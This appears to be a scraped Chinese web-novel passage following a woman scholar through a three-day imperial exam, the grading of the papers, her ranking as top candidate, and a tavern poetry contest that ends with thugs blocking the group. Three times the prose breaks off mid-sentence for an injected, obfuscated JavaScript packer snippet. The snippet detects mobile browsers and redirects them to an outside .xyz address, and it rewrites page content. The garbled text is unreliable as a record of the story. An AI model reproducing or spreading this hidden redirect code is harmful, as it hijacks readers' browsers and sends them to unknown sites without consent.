贡院外五百步早已封道，六部设牌调度，兵马司四角巡守，皆放重兵把守，坊卒按列巡视，这一带街市也皆早已关闭，鸦雀无声。 临进贡院正门，男女分列，两条队伍静默整肃。 凡应试者，皆须三道验身，五人唱名，一一道袍褪检。验身时，就连人袖口里绣的纹样都不得省过，一一反复查验。 到了瞿宝砚，前方吏员手执花名册，随步随点，声音平稳，咬字清亮： “江南道，澄州，瞿宝砚——” 两道声音之后，两名执册吏员先后复诵，后方有唱名官声如钟响，拖音入耳： “江南道——澄州——瞿——宝——砚。” 她应声向前半步，拱手行礼。 随即一名女官上前，检查她的令牌、腰带、笔匣，衣袍、鞋底，指尖翻过她衣袖缝线，连里衣内衬上的针脚都不放过。 又两名女官再检查了一遍，确认无误，这才朝身后坐着的官吏点头示意。 一名老吏接过她的名牌，用朱笔在册上重重画了一笔： “瞿宝砚——准。” 她轻轻颔首，转身进了贡院的朱门。 瞿宝砚在引官引领下，一路穿过东三门、二堂、考棚，至第三列第十六号格前停下。 引官是位中年女吏，身穿墨袍，佩着腰牌，脚步极快，声音却不疾不徐： “入位之后，不得出声，不得传眼，不得乱动纸笔，不得与他人同时起身；一炷香内书错姓名者，作废。” “文末须签属字号、地名，笔迹须与留名稿一致，字迹不清者，监誊后验笔。” “场中所言所行皆记于考册，若有异响、动作、抬头、探望，立记违例。三违出局。” “场中可申请暂离如厕，然一日之中限出三次。每次需由引官领出、兵士随身，时限不得久留。若超出次数，后一次将记作扣分。” 她语气不严，却字字如刀刻印泥，格外有力。 瞿宝砚听罢，拱手低声应道：“谨记。” “入位。” 瞿宝砚应声，拎着笔匣，抬步而入。 一格不过丈方，三面围墙，遮断了视线，隔壁纵有动静，也被隔得七零八落，听不真切。 格中前方设案，笔墨纸水一应俱全。 她脱去外袍，挂在左墙钩上，将笔匣安放案角，铺纸、移墨、开盖，动作干净利落。 坐定后，瞿宝砚静了片刻，才缓缓抬眼。 进了这贡院朱门之后，院内静得出奇。四面围墙高耸，风声似乎被关在了墙外；廊下兵士巡逻而过，步伐沉稳，靴声在石板上拖出短促回响，又迅速归于寂静。 未久。 一阵铜钟敲响，声震长空。 ——开考。 “东堂第三列第十六号——”吏员踏步入场，持木箱依次发卷，到瞿宝砚跟前，低声念道，念完将试卷投入匣中。 瞿宝砚接过，揭开纸封，拂过那抹红色封痕，翻出试题，铺于案前。 春闱三日大试，共计二十五题。 11. 三日会试2 卷上分陈五列，依序各设五题。 一列，史议考。题设： 题一：昔年宗枝并起，宗室之乱动摇天下；本朝开国，首在定统安宗，百官始立。试论，宗室之争动天下纲，安统者何以定根本？ 题二：景武帝锐意更张，罢官、收权、推新法，然三载未终，一朝俱废。其志勤国，其败何由？治世之变，安在用人，抑在时势？ 题三：“强兵可图疆土，未必能图太平。”历朝成败，多在文武之间失衡。兵政之道，何以为本？强军之外，民心可得乎？ 题四：先晋一朝，四十年无战，民间富足，然太和之后政令不通，一夕而乱。治久不革，太平之下可藏忧乎？安世之策，当防何患？ 题五：史家评五朝之亡，或归于主昏，或责于臣奸。通览五代，谁失在君，谁误在臣？其乱之本，当归于何？ 其后，大略， 二列·政务策。议时政急难，如赋役、兵募、盐政、河运等，言之有术，用之可行。 三列·举贤法。言贤才所出、官员考用、吏治修整，兼问用人之道与养廉之策。 四列·礼制论。问典章礼乐、贡举制度、祭令仪规等，考其识典知制、通达礼章。 五列·文章志。出命题五则，或题句、或格言，命考生作文以述志抒情，观思理情文兼得。 瞿宝砚垂眸一一扫过，略作思索。 接着右手拈笔，笔锋在砚边轻轻转了一圈，便落纸而下。 起笔沉稳，不见顿挫。 头一句落下时，风正好自棚缝吹入，撩动墙外一片残叶。那叶似感时序已改，轻轻随风而起，悄然零落，如同旧岁告别。 格间，瞿宝砚眉目沉稳平静，无一丝躁意。手落纸面，笔锋如水，行过毫端，字迹清清整整。如置身一方静水，不惊不扰，于寸尺案上，自成天地。 三日之考，天光三转，晨昏两来。却无一人抬头观天。 考场之中人影不语，笔声连绵。试题繁重，字纸轻响。压得众人神弦如绷。 有人笔尖频起频停，满纸勾圈涂改，墨痕重叠，一张未完，已废去三页；有人咬唇蹙眉，目中发红，额上冷汗顺着鬓角滑落，墨点不慎溅上纸面，只能低声叹气，再提笔重来。 更有人写到一半，面色惨白，笔未搁稳，便一头栽倒在格内昏死过去。官兵立即入棚将那人抬出，一路疾行，靴声在石地上砸出一串沉响。 考场之外，守候之人本在交头低语，忽见朱门半开，一队兵吏疾步而出，托着一人，头覆黑毯，四角垂落，疾行而去。 四周顿时寂然。 有老者喃喃低念：“又一个……第三个了罢。” 这三日，就在这三日。谁家孩子能扛得过这三日，谁就还有一个往上的希望。 宝桃儿本就紧张，见了此景更是心中一紧，赶紧合掌低声念道：“菩萨保佑，菩萨保佑，保佑我家小姐安安稳稳的。” 老陈心里也着急，却也无计可施。他们不知里头如何，只能一日日来，一日三趟从不落下。盼着三日后，将他们小姐从考场里给平平安安地接回来。 考场内外，一墙之隔，却心念皆紧。 转眼，第三日。 日影西沉，钟声又响，只听官吏高声传唤，声震四方：“停笔——” “收——卷——！” 声未落，院中数百号房内纷有应声。 应试者手一顿，笔停纸上，最后一个字犹带余墨，有人怔怔看了片刻，才像醒过来般将笔搁下。 装卷封匣，笔墨归位，砚盖合紧，笔头朝下——一应动作，不许有误。而匣盖一合，便似将三日心血一并压下。 引官沿列而行，号房一一开启。 学子们面色各异，有人神情恍惚，似魂未归鞘；有人眉心紧锁，眼中尚有未尽之意；亦有人低头无言，只将卷匣交出，不发一声。 不论如何，此刻卷交定论。但终归，是结束了。 瞿宝砚起身，将袖理好，整理好笔匣，套上外袍，缓步而出。步履不疾不徐，背影在光影之间一晃，便融入在重重门槛之后。 · 三日考毕，当夜亥时，礼部即刻设令，卷匣封档。 每道考卷由引官亲收，装入密匣，由署吏当场编号登记，三覆封签，钤朱印、糊名箋、加锁封缄，连笔迹誊录稿也都一并封存。 整个封卷流程持续至子时，殿中灯火通明，纸墨气沉得压人。每一道卷帘落下，仿佛都在宣布一个名字的命运。 翌日辰时，天未大亮，朱雀街上便传来兵马踏地之声。 卷匣由兵士押送，前后三列，持枪肃行，礼部吏员手执名册沿途护送，直入内城东坊，送抵观文堂正厅。 此处为会试阅卷之所，平日空置，唯科场开时启用，檐下朱柱高悬“慎德擢才”四字，堂门由三处开封，重锁重印，连钥匙皆由中书直辖调令。 殿内设九席，一正三副，围案而坐，皆为资深进士出身； 堂下六人初审，三人复评；其上另设一位钤印官，身着青章官服，出自中书典籍馆，专司查重、督秩、纠误，不通人情，只认章程。 卷面启封时，诸事严谨。名号皆去，籍贯不存，只留卷题与誊录笔迹。连誊字之人，也须写字时避开卷首页，防止观字识人。 纸卷成山，红批如线，抄吏来去奔走，一刻不停。堂上评官俯首批阅，有人眉头紧皱，有人不时取笔重批，书案之侧，已立起“暂缓议定”“优卷候议”两座小木架。 黄昏，风将檐铃吹得微响，殿中灯火摇曳，批卷案前伏案的人影如山。 崔惟寅坐在侧厅的塌上，取茶盏吹了一口，却未入口，只低声道：“今年这卷……不大好评啊。” 崔惟寅，年近六旬，出身庶族寒门，三登进士，历任翰林、国子监祭酒，素有“文章如秋风，阅人如古井”之称。语气不快，眼力极好，看文如看账，不漏一字。 他身旁，是刚到任的礼部监试官魏廷鉴，听言抬眉道：“题就不容易。” 魏廷鉴，不过三十七岁，新擢官品为礼部侍郎，执事持重却锋锐凌厉，行文论政向以犀利著称，旁人笑言他“看人三分寒，论事七分苛”。 他合上考题：“史策三题，问得绕，政问又不留情面，那些老家伙合着是绞尽脑汁往难里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042143|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出，仿佛怕考生都答出来似的。” “你是说那几个老题官？”崔学政轻笑，“他们脑子都不坏，就是笔太狠。” 魏廷鉴指了指堂前桌几：“我看‘太平致乱’那道，过卷率不到三成，能答出道理的就极少。” 崔学政点了点头，眉宇沉定：“但也不好怪题目。这届陛下盯得紧。倒不是朝中缺人，而是缺了用得上的人。文臣不能空谈，得真能识局、又能办实事的。” “是。”魏廷鉴，“不过，今年考生的水准倒是也不低。” “前十都还难排，”崔学政看向灯后匣案，“我方才过了一卷史策，措词不盛，却稳中见锋，倒像个从州府衙门里爬出来的。” 魏廷鉴挑眉：“已记候议？” “记了。就看再来的几卷。” 说话间，门帘微动，一名吏员疾步入内，抱卷三束，低声禀道：“副评三案交齐。堂评卷已至。” 崔学政放下茶盏：“来了——就先从东列策卷看起吧。” 观文堂内，灯火已燃到后半夜。 堂前案几一字排开，桌上摊着十卷，皆为复评三阅之后层层筛出、候入甲卷之文。 每一卷下角皆贴有副评签语，字迹沉稳，标红印为记。 两位主案评官正各执一卷，自左向右而读。堂中气息沉重，唯有笔刷纸面与轻声咀语交织。 身侧两名小吏提笔侍立，随时记录二人所言，待入总评案。 崔惟寅翻开第一卷，轻抚纸面，沉声道：“此卷《军政之衡》，起笔不俗，列边防、讲兵律、兼谈农备，然末段稍弱，起而不收，尚欠一结力。” 小吏笔下速记，“评曰：理清势稳，首尾未合，策有其骨，未成其神。” 魏廷鉴翻第二卷，点了点头：“写得极圆，字句干净。唯议略趋俗，眼界稍浅了些。此等文，六年前出，尚可夺魁；今日列十，却只属常流。” 小吏默记，“评曰：文正义熟，惜无独识。” 二人语声虽不高，却字字入耳。每评一卷，气氛便凝一分，案几上卷面如山，一叠叠沉在光下，无声而肃。 评至第六卷，崔惟寅轻咳一声：“这位论‘荐贤避亲’，起笔清奇，竟用一段古事做引，写得奇而不浮，倒别有意趣。” 魏廷鉴点头，语气中肯：“有笔气，可惜文字还未脱学宫气。” “非才短，乃气未老。”崔惟寅淡淡一笑。 话正谈着，魏廷鉴已走至案右。 他原本翻卷极快，但至第九卷，却忽然顿住了。 这一卷未有标名，封签犹在，看着似乎没有什么特别。 他一动不动地看着，连手中翻页的动作都慢了几分。 崔惟寅还在案后随口点评着：“前几卷虽稳，但未有压场之文……你觉不觉得——” 他见魏廷鉴久不应声，抬头望去。 只见魏廷鉴正俯身望卷，眼神未移，眼光乍亮。 半息后，见他问道： “这篇，哪里送上的？” 崔惟寅缓缓放下手中卷，也转身看来。 “东列策卷，第五十六号。”小吏答道。 12. 诗酒争锋 正是巳时，阳光暖暖，照在松鹤院的石阶上。 院中小炉正煮着鸡丝羹，香气袅袅。 瞿宝砚一手执筷，一手翻着案头笔记，早饭吃得简单，旁边宝桃儿小声问她要不要加点小菜配粥，她还没点头，院门外却忽地响起一阵急促的敲门声——“咚咚咚”，一声声像砸在心上。 “瞿解元——在吗！快出来、快出来！” 宝桃儿一愣，抬头望向门口：“谁啊——” “今日放榜啦！我们一大早看榜回来的！你快出来看看！” 门外不止一人，几个学子都带着明显的兴奋之色，有人甚至门没开就忍不住喊：“瞿解元，中啦——你中啦！你又中啦！你是今年的——会元！” 话音落下，屋里顿时一静。 瞿宝砚手里的筷子轻轻一顿，片刻后才缓缓放下。 宝桃儿赶紧到门口，门“吱呀”一声一开，门外七八个衣衫未整、气喘吁吁的学子正站在台阶下，眼睛都亮得发光。 宝桃儿惊愣道：“真的？” “真的！那可真的不能再真了！” 众人见到屋内出来的瞿宝砚，高兴喊道： “我们在榜上亲眼看到的，你名字排最上面——瞿宝砚，澄州籍，会元！” “你知道我们当时站在榜下，看到那两个字时什么感觉吗？！整个贡院都炸开了！” “你是我们澄州的第一个会元啊——我也是澄州籍，我们都跟着光了！” “我们要请你吃酒！” “应该是瞿解——哦不，瞿会元请我们吃才对吧哈哈哈！” “吃酒吃酒！” 众人你一言我一语，声音渐渐压不住激动。宝桃儿听得也愣住，眼圈瞬间就红了，转头看自家小姐，嘴唇都在抖：“小姐……真的是您——” 这时，其他院里也纷纷听到动静迎出来。 萧令仪与褚清芸先后开了门出来，一人提着水壶，一人还在披着半只狐裘，看到门口忽然围了这么多人几乎是同时一愣。 “怎么了？”萧令仪问。 有人立刻大喊：“瞿解元拿了会元！第一！整个京城的第一！” 刚从被窝里爬出来的褚清芸“啊”的一声，猛地一拍大腿，整个人蹦了起来：“我就说嘛！我就说我眼光不会错！” “哎哟哟，这事儿今天必须好好庆祝一番！”她一把拽住萧令仪，“来来来，今晚你们可一个都不许再推辞了，我带你们去‘迎春楼’！我记得他们今儿可请了名角儿来唱——可好听了！” 萧令仪忍俊不禁，偏头看瞿宝砚：“你若不想去，就摇个头，我替你拦。” 瞿宝砚本欲婉拒，嘴边刚动，又看见门口一张张炽热、真诚、压不住喜悦的脸——连宝桃儿都红着眼睛，似乎随时要哭出来。 她轻笑一声，道：“去吧。” 话音一落，院中顿时欢声一片。 褚清芸搓手道：“宝砚，你写的那篇策，回头我得找你抄一份——要是有你亲笔，我得装框挂书房去！” 瞿宝砚被她推着往里走，眉目温润，语声淡淡：“别挂那么高，哪天写砸了也好拿下来。” 褚清芸大笑：“写砸？我瞿解元，哦不，瞿会元要是哪天写砸了，我连茶都倒立着喝！” “迎春楼”设在坊东最热闹的一角，今夜灯火通明，楼前人来人往，一盏盏宫灯高挂门头，映着朱门金字分外喜气。 楼上临窗一席正好空出，褚清芸早早吩咐订下，此时几人已入座落定。 座中除瞿宝砚、褚清芸、萧令仪外，还有数位同舍才子，也都是榜上有名的俊彦之选。 正闲谈间，只见一女子翩然入座，穿一身紫黛暗纹绣裙，袖口隐隐香气流转，笑容里自带三分酒气的明艳。 萧令仪微微偏头，向瞿宝砚与褚清芸介绍道：“这是沈宜棠，江东沈家三姑娘，与我幼时曾同习字册，性子爽快，诗笔亦轻狂。” 褚清芸笑道：“江东的沈三姑娘？早先就听令仪提过，不过百闻不如一见，今儿咱们人倒是齐了。幸会幸会！” “褚女史的大名我也早有耳闻，文武双全，女中英雌，幸会。” 沈宜棠大大方方朝褚清芸回了个礼，又笑吟吟对着瞿宝砚道：“久闻澄州会元之名，今夜得席共饮，幸甚。” 说话间，已自斟了一盏，笑意盈盈地敬向瞿宝砚，举止里既无怯意，亦无讨好，恰到好处地潇洒从容。 瞿宝砚回敬一盏，淡淡一笑：“幸会。” 气氛就此渐渐热络起来。 席间人也渐渐多了，听闻今夜瞿会元在迎春楼，不少人都慕名而来。 楼下笙歌阵阵，一男一女恰好对唱的是江南旧调： “红妆不语倚春风，玉带回廊月未中……” 声音软糯婉转，清亮入耳，叫人听了都不觉心头一酥。 几人落座才半盏茶功夫，酒已热上。 冯子阳这会儿已然喝了几盏，脸颊微红，语气比平日里少了几分浮躁，反倒显得郑重。他将酒一饮而尽，起身朝瞿宝砚拱了拱手，语声带着点真诚的颤意： “瞿姑娘——不，瞿会元。” “那日舟中之事，是我冯某口不择言，酒话胡言……今日之会，本不敢坐在这桌上，只是心里憋着一句话，想亲口说。” 他顿了顿，眼神落在她身上：“你配得上第一，配得上我冯某躬身敬你一盏。” 这话说得不轻不重，却极真诚，满桌人都是一静。 瞿宝砚未言先笑，端起酒盏：“谢冯兄这番话。舟上之事，水过无痕，过去了便罢。” 她一饮而尽，风度不失。 沈未舟坐在冯子阳身旁，酒意微酣，闻言忽而挑眉一笑：“诶？你们舟上还闹过什么？冯子阳你小子说过了什么混账话？我怎么不知道？！” 众人顿时笑作一团，有人敲着桌起哄：“说说说，到底怎么回事？冯兄，你也有跪着敬酒的一天？” 冯子阳红着耳根，但没再辩，只笑骂一句“欠揍”，算是受了这一轮打趣。 正说着，忽听得背后一声极轻的“啧”。 “好不热闹。” 众人一回头，只见帘后不知何时多了一个人。 来人身披一袭玄青袍子，衣襟半敞，腰系玉带，头发挽得散散的，像是刚从哪间酒坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042144|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐过来。 人还未近，语气已带了笑意：“听说咱们今年这位风头最盛的会元在这儿庆功，我这张嘴馋得厉害，就顺道过来讨杯酒。” 韩璟。 褚清芸第一个反应过来，眉头“唰”地皱了起来，半句客套都不打，话里带刺：“你怎么来了？” 韩璟却跟没听见似的，自顾自走到最内侧，提了张空椅子坐下，懒懒倚着屏风，袍角半敞，像刚散了闲局的人那般随意。 “怎么不能来？”他一边理袖子一边慢吞吞道，“这迎春楼也不是褚女郎家开的吧。” 他指了指桌上的酒壶，语气散漫得像是闲话家常：“再说了，这桌气派，前十里的都快坐满了，不凑凑热闹，我都怕赶不上这趟船。” 褚清芸却冷笑：“行啊韩公子，您这不请自来脸皮厚的，倒是提醒了我，得在门口栓条狗，省得什么人都往里闯。” 韩璟听了非但不恼，笑得更松了些：“唉，骂人还得挑词儿。我这不是什么人，我是上了金榜、闻了名声、闻香而来的。” 他说着看向瞿宝砚，眸光带着点似笑非笑：“可惜来得晚了，香也淡了，只求一盏残酒——只是不知瞿会元，赏不赏？” 一席人皆转头看她。 瞿宝砚却并未立刻回话，只缓缓举盏，微微一笑，唇角不扬，气息却稳。 “韩公子此言太重。” 她抬眸看他，语气不紧不慢： “今日放榜，诸位皆是榜上有名，既是同榜之友，也是今科俊彦。” “这一席之中，哪位不是风骨才名自成一卷？若说‘赏’与‘不赏’——我又怎敢？” 她说得恭敬，却毫不卑弱，寥寥几句，不推不迎，反把“请与不请”的主场拉回众人之间。 韩璟挑眉看她，手指摩着杯沿，似在笑，也似是在思。 一旁沈未舟笑出声来，敲了敲杯口：“好个‘怎敢’！你这话一说，我们反倒不敢动筷了，怕显得不配这‘俊彦’二字。” 冯子阳笑骂：“你什么时候配过，还需要今天怕？” 众人哄笑起来，气氛轻快。 韩璟却只是看着她，目光如水过青石，慢慢举盏，低声道：“那我便借‘俊彦’之名，饮了这杯。” 他说罢一饮而尽，杯落有声。 此刻楼下正换了曲调，女声独唱，轻轻唱着那《秋水辞》—— “风过山廊柳半痕，红烛深院不留人。” 一道声音恰此响起：“久闻瞿姑娘才名，今夜得席，幸甚至哉。” 众人闻言，还未转身，一抹素白衣影轻步踏入。 正是江右书院的顾如鸢，这回恰在榜上第十一，一旁紧随而入的，是她兄长——顾箴言。今科同榜第十，依旧是儒雅持重，衣饰中正。 顾如鸢一袭皓衣，袖口绣了墨色鸢羽，鬓边簪一枝墨玉，生得明艳不俗，眼尾略挑，一入座便似整桌风向被拨了几分。 她也不多寒暄，只从袖中取出一卷笺纸，道：“适才楼下听曲，乘兴写了几句，才浅字粗，不成章法，只求一笑。” 说罢将笺纸往几上一搁，端的是不卑不亢，不邀自贵。 13. 诗酒争锋2 褚清芸在旁扫一眼，哂道：“顾姑娘才气未泯——这哪是随笔，怕是早有成章，特地而来。” 顾如鸢抬眼一笑：“若说早有准备，不如说——早就想见见‘策上写衡道，榜上压群才’的瞿会元了。” 这句话一出，席上顿时微静，连韩璟都挑了挑眉。 褚清芸性子直，最怕旁人绕弯，便道：“哦，这一句不是请诗，是下战书来了。” 顾如鸢却不恼，只道：“若不愿，也无妨。我顾家人，虽笔性狂，却不强人诗兴。” 瞿宝砚尚未作声，一旁韩璟却笑出声来，轻敲酒盏：“好一个‘不强人诗兴’。你们顾家的诗兴，怕是连殿前都能撬动三丈金砖。” 众人笑作一团，桌前却只剩那一纸笺，墨香未干，笔锋犹劲。 瞿宝砚淡淡一笑，伸手将那诗纸摊开。她并未立刻题笔，只抬头道了一句： “既特为此来，不写也无礼。” 见顾如鸢诗作： “珠帘挂雨南楼暮，檐角春声趁入辞。” “若问谁家执笔早，碑前素影未题时。” 这诗里语锋清俊，暗指某位年少登高、却风骨未考。 酒未尽，诗已成。 瞿宝砚笑了笑，执笔不紧不慢，蘸墨略凝，落笔却毫不迟疑。朱笺铺案，一行行笔势疏阔如远山风骨，字字沉稳。 诗作： “东风吹雪不留痕，陌上轻裾踏月轮。” “莫问浮名成几许，自题春色到君门。” 末句落定，墨未干，人先停笔。 她将笔搁下，拈纸而起，轻声念出，语气温淡。 室中片刻无声。 顾如鸢本笑着斜倚着桌，却在末句出口时神色微敛，指尖顿了一下，眼中有了不易察觉的波动。 「自题春色到君门。」 这是回应，也是点破。浮名何妨，春色我书。诗中不争胜，却已在笔下定乾坤。 沈未舟叹道：“这诗若传出去，明日起酒楼唱词都要换腔来。” 褚清芸“砰”地一拍桌子：“好！就喜欢你写字比说话更有劲的样子！你这句‘春色到君门’，回头我得用在大门对联上——贴得住气派。” 韩璟抬杯，浅饮一口，没有说话，只是眼里一闪即逝的笑意，像是看见了某种早就预料到的答案。 沈宜棠起身，举杯一敬，笑吟吟道：“这才一开春，咱们这桌便斗得比殿试还紧——你一诗，我一诗，席间都快掀出松烟火味儿了。” 她这一开口，声色入场，立时引了数人转眸。 只见她今夜一袭紫黛暗绣裙裾，配琥珀耳坠，妆色不重却极妍丽，袖中抽扇半展，眉眼间带着江东女子惯有的绰约洒脱。 “你们是争锋，我却诗瘾也上来了。”她笑道，“今夜有酒、有春风、有金榜在前，这诗，哪怕不为高低，也该写个尽兴。” 她抿了一口酒，拈起案旁空纸，一手执笔，一手稳盏，眉梢挑着，眼带醉意，却落笔极快。 旁边有人起哄：“沈三姑娘也来一首？” “快看她写了什么，怕不是又要掀风作浪。” 沈宜棠并不理会，只写得一行行潇洒落下，末了轻轻一吹，竟像是写惯了在花厅里斗趣的笔。 她朗声念出，唇角微挑： “柳底黄鹂唤客频，小楼把酒醉青春。” “且将吟笔随风放，未必题名是上人。” 一句“未必题名是上人”，恰似一盆清水洒在案几之间，把刚才比试的剑气，一下化成笑声。 有人拍案：“妙！这句好，真是醉人不醉笔。” 褚清芸嚼着栗子点头：“这是诗里拐着弯说咱们今儿都太认真了——不如喝酒！” 韩璟倚在角落，轻轻点头：“醉得好，笔也俏。” 萧令仪却只是淡淡一笑，道：“她醉是醉得漂亮，就是怕这笔一醉，明日又被多少人借去抄。” 沈宜棠眨了眨眼：“那可得分人借。别人借，是艳；萧姑娘借——便是锋。” 说得萧令仪都轻轻一笑，难得露出几分闲态。 沈宜棠递笔：“萧姑娘可是岭南书香世家，写春诗你比我更在行，这一席你若不落一笔，怕是春色都要少三分雅意。” 萧令仪淡淡一笑：“诗我不擅论，只能写写眼下所见。” 语毕，大方接过沈宜棠手中之笔，执笔落墨。 她落笔极稳，起笔缓，提锋极轻，仿佛写的不是诗，而是将心意一线线地绣入纸上。 片刻后，她合笔，抬眼道：“拙笔一首，献丑。” 她念道： “春灯未尽酒初温，遥夜楼头听曲人。” “不问尘名归何处，满帘风月是归身。” 瞿宝砚笑道：“这诗像你。” 沈宜棠则“啧”了一声，半是羡半是服：“说她比我写得好，竟是一点也不冤。” 褚清芸撑着下巴，笑眯眯地点评：“你这写得太正了，我连一句打趣都接不上。” 萧令仪也不占着笔墨不放，往前一递：“下一位——” 顾如鸢立马接过， “哥，你可还打算藏着？今夜诗都写了半桌了——你再不写，明天京中那些爱咬文嚼字的又要说你‘空有文名，临局不前’了。” 她说得调皮，眼里却带着点点促狭。 顾箴言微微一怔，随即笑了。 他与妹妹性子不同，行事常留三分，不爱争抢。可今夜文会如潮，他若一直沉默，反倒不合气场。更何况——坐在席间的那些人，确实值得一见笔。 他朝妹妹略一点头，淡声道：“你既开口，那便试一试。” 他说得极轻，却自带一股从容底气。 他拈起案侧余纸，研墨未多，只稍蘸一下，便落笔如流水，行如微风，不疾不徐。与他人不同，他用的是带古意的章草体，笔划不多，却极见筋骨。 沈未舟侧头一看，低声道：“……他用章草？真敢。” 片刻之后，顾箴言已放下笔，行文未多，唯一联，写得深远沉稳。 他未自诵，只将笺纸推至席中，低声道：“薄才，不敢献丑。” 有人接过来念道： “策马春城路半昏，十年寒士一灯魂。” “肯将寸笔输名贵？字外犹存天下论。” “好字，好句。” “这顾家兄妹真是有意思——一个明锋，一个藏锋。” “不然怎么是兄妹呢——” 众人仍在咀嚼顾箴言那“字外犹存天下论” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042145|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句时，席间忽听“咔哒”一声——是有人轻敲酒盏。 韩璟倚在席侧，袍角半落，眼底酒意微泛，一手闲闲捻着盏边，一手懒懒指着纸案，笑道： “诸位都写得花团锦簇、月下清风，我听着听着，这手也痒了。” 他站起来，动作极慢，像是被酒熏得站不稳似的，走到一旁案几前，拈起笔转了转，挑了张皱了一角的纸页，斜眼道： “我这人不擅吟风，也不太会咏月。只能写点我见过的……不雅，莫笑。” 褚清芸哼了一声：“你若真敢写些不雅的，我第一个拿扇子打你。” 韩璟轻笑一声，提笔落字。 他的笔势不若顾箴言的沉稳，也无萧令仪的静雅，提笔时甚至有些随意。但行至第二句，众人神色便已一变。 他写得极快，也极短。 提笔、挥墨、收锋——不过半盏茶时，便停笔，转身道：“写完了。” 他将纸一掷，纸页翻了个弯儿落在桌中央。 沈未舟第一个拿起来，念道： “金榜朱门笑语深，春风不与旧人同。” “莫言今夜皆如愿，半是飞花向空吟。” 寂然片刻。 韩璟耸耸肩，仿佛真觉得没什么似的，回席坐下，一口干了盏中酒：“诗不成诗，说的是我今夜耳听眼见的几分景。” 沈未舟缓缓放下纸，神情莫名：“……这可真是醉里挑灯话中人。” 顾如鸢道：“你这一句，倒比你说话靠谱些。” 韩璟大笑：“我说话本来就很靠谱——只看听的人靠不靠谱罢了。” 萧令仪未说话，只轻声一笑：“韩公子今夜这一笔，倒叫人刮目相看了，明日大约能叫书社的词馆写手闭门三日。” 韩璟“啧”了一声：“闭不闭门不重要，酒别倒了就行。” 众人一时无语，继而哄然大笑。 “我也有诗了——” “我也来试试！” 迎春楼那一夜，原只是一场酒宴。 席间不过二十余人，灯下本不过三五诗兴起意。可不知从哪一盏酒开始，便有人起笔，有人对诗，有人落词，有人高论。 那一夜，谁都未曾宣言“成诗会矣”。 但就是那夜。 顾如鸢借诗挑锋，瞿宝砚应笔落句。 原本来赴宴的才俊们，竟纷纷被诗兴所牵。桌案换笔，灯火不熄，词笺如雪铺满案几，墨香绕梁至夜半三更。 更奇的是，那夜之后，隔日茶馆便唱起了“会元对顾女，诗落惊春水。” 有街头画师铺开长卷，笔下泼墨，绘出那恰似亲临的“迎春诗会图”， 还有诗社小童提着油纸伞站在门口吆喝：“要不要今春第一夜的真本抄诗啊？一份二十文，绝版手抄！” 文馆取了诗录，勒为《春宴纪抄》；官署内也有御吏以“才气风流”四字列入文报送呈御前。 ——这一夜，竟成了今科会试与殿试之间，最浓墨重彩的一笔。 而后人常以此称今科文会之盛，谓：“一朝春宴，百年传名。” 《清宦笔记》中记：“甲子年春，会试后，群英聚于迎春楼，灯下共咏，诗留五十三篇，今存者三十有二，号《云台春宴》。” 14. 诗酒争锋3 楼外夜色已深，坊东灯市也渐次熄了三分。 “迎春楼”里的酒会也已近散场。 席上才子们皆是醉得东倒西歪，埋头念了许久的书，这会儿终于算是可以放纵玩乐一会，借着酒劲，高歌的高歌，胡言的胡言，有的几盏酒下肚，两眼冒星，连走路都要互相搀扶着，步步踉跄。 褚清芸原本想再灌瞿宝砚一杯，被萧令仪一把按住，斜眼道：“再灌，你俩恐怕今晚就得在这楼上过夜了。” 褚清芸也喝迷糊了：“高——高兴！今夜高兴！多喝几盏——” 萧令仪摇了摇头，夺下她手里酒盏：“留到你自个儿梦里喝去吧。” 瞿宝砚脸上也染了红晕，今夜敬酒的人不少，她也不好拂了大家的兴，此刻却也觉得不胜酒力，她拢了拢袖口，道：“楼外夜寒，诸位且缓步，不宜多留了，都回吧。” 说着，几人便缓缓下了楼。 楼前小巷空旷，春寒袭人。众人都住在云台，便也一道回去，同路有人笑着，有人唱着，酒气混着夜风弥散，似乎整座京城都醉在这片春色里。 正当众人行至一条小巷转角处时，前方忽现七八个人影倚在路边，拦住去路。 为首是个魁梧壮汉，那人作势拱手，声音吊儿郎当地道：“听闻今夜‘迎春楼酒宴’风雅盛极，小的几个不才，也想讨杯余酒沾沾文气。” 言辞似乎恭敬，语气里却透着隐隐的不怀好意。 为首的一位学子闻言眸色微沉，高声回道：“楼内酒宴已散，诸位若要借酒，怕是来晚了。” 那人嘿嘿一笑，忽然一甩手，袖中滚出一只酒葫芦，朝褚清芸脚边一扔，口中大声叫嚷： “哎呀——谁动手打人了？” 与此同时，另有两人作势跌撞上前，故意拉扯搀扶中的几位才子，装作被推搡跌倒，喧哗声一时起。 